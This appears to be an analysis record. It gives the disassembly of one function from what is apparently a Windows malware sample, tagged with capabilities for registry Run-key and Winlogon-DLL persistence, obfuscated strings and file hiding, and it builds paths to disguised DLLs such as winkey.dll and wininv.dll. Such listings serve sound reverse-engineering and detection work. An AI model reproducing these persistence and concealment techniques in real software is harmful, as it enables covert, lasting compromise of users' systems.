Function at 0x40ee84
Capabilities:
Contain obfuscated stackstrings
Get common file path
Persist via run registry key
Persist via winlogon helper dll registry key
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd28
push ebx
push esi
push edi
mov eax, 0x5c876c
call fcn.00496c14
mov edx, dword [0x5d8038]
mov eax, dword [edx + 0x2f4]
xor edx, edx
call fcn.004705ac
push 0x3ea
call sub.KERNEL32.DLL_Sleep
mov word [ebp - 0xb8], 8
push 0x104
lea ecx, [ebp - 0x1d4]
push ecx
call sub.KERNEL32.DLL_GetSystemDirectoryA
mov word [ebp - 0xb8], 0x14
lea eax, [ebp - 0x30]
call fcn.00401ad8
push eax
inc dword [ebp - 0xac]
mov edx, 0x5bff6d
lea eax, [ebp - 0x2c]
call fcn.004a451c
inc dword [ebp - 0xac]
lea edx, [ebp - 0x2c]
push edx
lea edx, [ebp - 0x1d4]
lea eax, [ebp - 0x28]
call fcn.004a451c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4718
lea eax, [ebp - 0x30]
call fcn.00401b08
push eax
call sub.KERNEL32.DLL_LoadLibraryA
mov dword [0x5d8490], eax
dec dword [ebp - 0xac]
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x2c]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.004a46c0
cmp dword [0x5d8490], 0
je 0x40efae
push 0x5bff79
push dword [0x5d8490]
call sub.KERNEL32.DLL_GetProcAddress
mov dword [ebp - 0xcc], eax
mov word [ebp - 0xb8], 0x20
call dword [ebp - 0xcc]
mov word [ebp - 0xb8], 8
jmp 0x40efae
mov word [ebp - 0xb8], 0
jmp 0x40efc7
push 0x104
lea ecx, [ebp - 0x2d8]
push ecx
call sub.KERNEL32.DLL_GetWindowsDirectoryA
mov word [ebp - 0xb8], 0x38
lea eax, [ebp - 4]
call fcn.00401ad8
push eax
inc dword [ebp - 0xac]
mov edx, 0x5bff84
lea eax, [ebp - 0x38]
call fcn.004a451c
inc dword [ebp - 0xac]
lea edx, [ebp - 0x38]
push edx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x34]
call fcn.004a451c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4718
dec dword [ebp - 0xac]
lea eax, [ebp - 0x38]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x44
lea eax, [ebp - 8]
call fcn.00401ad8
push eax
inc dword [ebp - 0xac]
mov edx, 0x5bff9b
lea eax, [ebp - 0x40]
call fcn.004a451c
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x3c]
call fcn.004a451c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4718
dec dword [ebp - 0xac]
lea eax, [ebp - 0x40]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x3c]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x50
lea eax, [ebp - 0xc]
call fcn.00401ad8
push eax
inc dword [ebp - 0xac]
mov edx, str.mps.atm
lea eax, [ebp - 0x48]
call fcn.004a451c
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x48]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x44]
call fcn.004a451c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4718
dec dword [ebp - 0xac]
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x5c
lea eax, [ebp - 0x10]
call fcn.00401ad8
push eax
inc dword [ebp - 0xac]
mov edx, str.kdd32.atm
lea eax, [ebp - 0x50]
call fcn.004a451c
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x50]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x4c]
call fcn.004a451c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4718
dec dword [ebp - 0xac]
lea eax, [ebp - 0x50]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x4c]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x68
lea eax, [ebp - 0x14]
call fcn.00401ad8
push eax
inc dword [ebp - 0xac]
mov edx, str._refresh
lea eax, [ebp - 0x58]
call fcn.004a451c
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x54]
call fcn.004a451c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4718
dec dword [ebp - 0xac]
lea eax, [ebp - 0x58]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x54]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x74
lea eax, [ebp - 0x18]
call fcn.00401ad8
push eax
inc dword [ebp - 0xac]
mov edx, str._system32winkey.dll
lea eax, [ebp - 0x60]
call fcn.004a451c
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x60]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x5c]
call fcn.004a451c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4718
dec dword [ebp - 0xac]
lea eax, [ebp - 0x60]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x5c]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x80
lea eax, [ebp - 0x1c]
call fcn.00401ad8
push eax
inc dword [ebp - 0xac]
mov edx, str._systemwinkey.dll
lea eax, [ebp - 0x68]
call fcn.004a451c
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x68]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x64]
call fcn.004a451c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4718
dec dword [ebp - 0xac]
lea eax, [ebp - 0x68]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x64]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x8c
lea eax, [ebp - 0x20]
call fcn.00401ad8
push eax
inc dword [ebp - 0xac]
mov edx, str._system32wininv.dll
lea eax, [ebp - 0x70]
call fcn.004a451c
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x6c]
call fcn.004a451c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4718
dec dword [ebp - 0xac]
lea eax, [ebp - 0x70]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x6c]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0xb8], 0x2c
mov word [ebp - 0xb8], 0x98
lea eax, [ebp - 0x24]
call fcn.00401ad8
push eax
inc dword [ebp - 0xac]
mov edx, str._systemwininv.dll
lea eax, [ebp - 0x78]
call fcn.004a451c
inc dword [ebp - 0xac]
lea ecx, [ebp - 0x78]
push ecx
lea edx, [ebp - 0x2d8]
lea eax, [ebp - 0x74]
call fcn.004a451c
inc dword [ebp - 0xac]
pop edx
pop ecx
call fcn.004a4718
dec dword [ebp - 0xac]
lea eax, [ebp - 0x78]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x74]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0xb8], 0x2c
mov eax, dword [0x5d8038]
mov eax, dword [eax + 0x36c]
call fcn.004a4490
mov edx, dword [0x5d8038]
mov eax, dword [edx + 0x370]
call fcn.004a4490
mov edx, dword [0x5d8038]
mov eax, dword [edx + 0x374]
call fcn.004a4490
mov edx, dword [0x5d8038]
mov eax, dword [edx + 0x378]
call fcn.004a4490
mov edx, dword [0x5d8038]
mov eax, dword [edx + 0x380]
call fcn.004a4490
mov edx, dword [0x5d8038]
mov eax, dword [edx + 0x384]
call fcn.004a4490
mov edx, dword [0x5d8038]
mov eax, dword [edx + 0x388]
call fcn.004a4490
mov edx, dword [0x5d8038]
mov eax, dword [edx + 0x38c]
call fcn.004a4490
mov edx, dword [0x5d8038]
mov eax, dword [edx + 0x344]
call fcn.004a4490
mov edx, dword [0x5d8038]
mov eax, dword [edx + 0x390]
call fcn.004a4490
mov edx, dword [0x5d8038]
mov eax, dword [edx + 0x398]
call fcn.004a4490
mov edx, dword [0x5d8038]
mov eax, dword [edx + 0x39c]
call fcn.004a4490
mov edx, dword [0x5d8038]
mov eax, dword [edx + 0x3a4]
call fcn.004a4490
mov edx, dword [0x5d8038]
mov eax, dword [edx + 0x3a8]
call fcn.004a4490
mov edx, dword [0x5d8038]
mov eax, dword [edx + 0x3c4]
call fcn.004a4490
mov eax, dword [ebp - 4]
call fcn.004a4490
mov eax, dword [ebp - 8]
call fcn.004a4490
mov eax, dword [ebp - 0xc]
call fcn.004a4490
mov eax, dword [ebp - 0x10]
call fcn.004a4490
mov eax, dword [ebp - 0x14]
call fcn.004a4490
mov eax, dword [ebp - 0x18]
call fcn.004a4490
mov eax, dword [ebp - 0x1c]
call fcn.004a4490
mov edx, dword [0x5d8038]
mov eax, dword [edx + 0x344]
call fcn.004a4490
mov eax, dword [ebp - 0x20]
call fcn.004a4490
mov eax, dword [ebp - 0x24]
call fcn.004a4490
mov edx, dword [0x5d8038]
mov eax, dword [edx + 0x3c0]
call fcn.004a4490
mov dl, 1
mov eax, dword [0x451048]
call fcn.00451148
mov dword [ebp - 0xd0], eax
mov edx, reloc.WSOCK32.DLL_bind
mov eax, dword [ebp - 0xd0]
call fcn.004a4488
mov word [ebp - 0xb8], 0xa4
mov word [ebp - 0xb8], 0xb0
mov word [ebp - 0xb8], 0xbc
mov edx, 0x5c001d
lea eax, [ebp - 0x7c]
call fcn.004a451c
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
call fcn.00451450
dec dword [ebp - 0xac]
lea eax, [ebp - 0x7c]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0xb8], 0xa4
jmp 0x40f60a
mov eax, dword [ebp - 0xd0]
call fcn.004511b8
mov edx, reloc.WSOCK32.DLL_bind
mov eax, dword [ebp - 0xd0]
call fcn.004a4488
mov word [ebp - 0xb8], 0xc8
mov word [ebp - 0xb8], 0xd4
mov edx, 0x5c0077
lea eax, [ebp - 0x80]
call fcn.004a451c
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov cl, 1
mov eax, dword [ebp - 0xd0]
call fcn.0045132c
dec dword [ebp - 0xac]
lea eax, [ebp - 0x80]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0xb8], 0xe0
mov edx, 0x5c00b8
lea eax, [ebp - 0x84]
call fcn.004a451c
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
call fcn.004515c8
dec dword [ebp - 0xac]
lea eax, [ebp - 0x84]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0xb8], 0xa4
jmp 0x40f6c7
mov eax, dword [ebp - 0xd0]
call fcn.004511b8
mov edx, reloc.WSOCK32.DLL_bind
mov eax, dword [ebp - 0xd0]
call fcn.004a4488
mov word [ebp - 0xb8], 0xec
mov word [ebp - 0xb8], 0xf8
mov edx, 0x5c00d7
lea eax, [ebp - 0x88]
call fcn.004a451c
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov cl, 1
mov eax, dword [ebp - 0xd0]
call fcn.0045132c
dec dword [ebp - 0xac]
lea eax, [ebp - 0x88]
mov edx, 2
call fcn.004a46c0
mov edx, 0x5c0114
lea eax, [ebp - 0x90]
call fcn.004a451c
inc dword [ebp - 0xac]
push dword [eax]
mov word [ebp - 0xb8], 0x104
mov edx, 0x5c010e
lea eax, [ebp - 0x8c]
call fcn.004a451c
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
pop ecx
call fcn.00451858
dec dword [ebp - 0xac]
lea eax, [ebp - 0x90]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x8c]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0xb8], 0xa4
jmp 0x40f7b9
mov eax, dword [ebp - 0xd0]
call fcn.004511b8
mov edx, reloc.WSOCK32.DLL_accept
mov eax, dword [ebp - 0xd0]
call fcn.004a4488
mov word [ebp - 0xb8], 0x110
mov word [ebp - 0xb8], 0x11c
mov edx, str.SOFTWAREMicrosoftWindows_NT_Script_HostMicrosoft_DxDiag
lea eax, [ebp - 0x94]
call fcn.004a451c
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
call fcn.00451450
dec dword [ebp - 0xac]
lea eax, [ebp - 0x94]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0xb8], 0xa4
jmp 0x40f838
mov word [ebp - 0xb8], 0x128
mov word [ebp - 0xb8], 0x134
mov edx, str.SOFTWAREMicrosoft_DirectX
lea eax, [ebp - 0x98]
call fcn.004a451c
inc dword [ebp - 0xac]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
call fcn.00451450
dec dword [ebp - 0xac]
lea eax, [ebp - 0x98]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0xb8], 0xa4
jmp 0x40f89c
mov eax, dword [ebp - 0xd0]
call fcn.004511b8
mov word [ebp - 0xb8], 0x2c
jmp 0x40f8c0
mov word [ebp - 0xb8], 0x140
mov word [ebp - 0xb8], 0x14c
mov edx, 0x5c0177
lea eax, [ebp - 0x9c]
call fcn.004a451c
inc dword [ebp - 0xac]
push dword [eax]
call fcn.0040e974
pop ecx
dec dword [ebp - 0xac]
lea eax, [ebp - 0x9c]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0xb8], 0x2c
jmp 0x40f91f
push 0x80
mov word [ebp - 0xb8], 0x158
lea eax, [ebp - 0xa0]
call fcn.00401ad8
mov edx, eax
inc dword [ebp - 0xac]
mov ecx, dword [0x5d7c24]
mov eax, dword [ecx]
call fcn.0046ea98
lea eax, [ebp - 0xa0]
call fcn.00401b08
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
dec dword [ebp - 0xac]
lea eax, [ebp - 0xa0]
mov edx, 2
call fcn.004a46c0
mov word [ebp - 0xb8], 0x164
call fcn.0040ed84
mov word [ebp - 0xb8], 0x2c
jmp 0x40f99b
mov word [ebp - 0xb8], 0x170
mov edx, 0x5c0178
lea eax, [ebp - 0xa4]
call fcn.004a451c
inc dword [ebp - 0xac]
push dword [eax]
call fcn.0040d77c
pop ecx
dec dword [ebp - 0xac]
lea eax, [ebp - 0xa4]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x20]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004a46c0
dec dword [ebp - 0xac]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004a46c0
mov ecx, dword [ebp - 0xc8]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret